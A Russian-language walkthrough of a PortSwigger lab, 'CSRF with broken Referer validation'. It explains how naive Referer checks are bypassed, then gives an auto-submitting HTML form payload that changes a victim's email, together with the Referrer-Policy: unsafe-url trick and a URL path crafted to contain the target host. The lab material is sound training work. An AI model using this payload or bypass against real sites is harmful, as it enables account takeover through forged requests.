На странице
apsyleg1 мин
#portswigger #csrf #referer #web-security

CSRF со сломанной валидацией Referer

Лаборатория

CSRF with broken Referer validation · Practitioner

Решение

Дано

This lab's email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer's email address.

You can log in to your own account using the following credentials: wiener:peter

Анализ задания

Нужно поменять почту пользователя через эксплуатацию CSRF-уязвимости. Реализована защита на основе анализа Referer, необходимо её обойти.

Полезная теория от PortSwigger

Варианты «наивной» защиты на основе Referer:

  1. Проверяют только начало URL на наличие значений.
  2. Просто проверяют Referer — есть ли в нём домен сайта.

Первый вариант обходится через создание поддомена с именем целевого сайта на своём сервере. Второй — через включение домена в URL в любом месте, например, в query string: http://attacker.com/?vul-site.com.

Однако второй метод не сработает без Referrer-Policy: unsafe-url, поскольку браузеры сейчас имеют дефолтные политики по обрезанию Referer (убирают query string).

Думаю, для этой лабы как раз будет вариант 2 — что-то мне подсказывает, что с поддоменом PortSwigger не стал заморачиваться, но посмотрим.

Разведка

Уже знакомый нам роут — POST /my-account/change-email. Отправляется:

Referer: https://0acd006e047305c382a4a606007d003c.web-security-academy.net/my-account?id=wiener

Ок, отправляем запрос в Repeater и ставим Referer:

Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit

Ответ — 400 Invalid referer header.

Давай просто добавим Host в наш Referer в query string:

?0acd006e047305c382a4a606007d003c.web-security-academy.net
Referer: https://exploit-0ab2006104810534824ba5f0018200df.exploit-server.net/exploit?0acd006e047305c382a4a606007d003c.web-security-academy.net

В Burp работает, но помним про Referrer-Policy: unsafe-url, чтобы это сработало в браузере у жертвы.

Итоговая нагрузка

  1. Добавляем в URL Host сервера лабы.
  2. Ставим заголовок Referrer-Policy: unsafe-url.
  3. Сабмитим форму смены email.

За основу возьмём нагрузку предыдущей лабы. И не забудем добавить в эксплоит-сервер Referrer-Policy: unsafe-url, а страницу назвать, например, /exploit?p=0acd006e047305c382a4a606007d003c.web-security-academy.net, чтобы содержалось имя Host сервера.

<form class="login-form" name="change-email-form"
      action="https://0af900b5045d743e805344a6006d0040.web-security-academy.net/my-account/change-email" method="POST">
  <label>Email</label>
  <input required type="email" name="email" value="hhh@p.com">
  <button class="button" type="submit">Update email</button>
</form>

<script>
  document.forms[0].submit()
</script>

На мне нагрузка работает, а PortSwigger не принимает. Но вижу в access logs, что почему-то, когда жертва переходит, ей возвращается 404.

Попробую, может, не в query string передать Host, а прямо частью URL: /exploit/0a5600910423b30f803c767000df00fd.web-security-academy.net.

Лаба решена!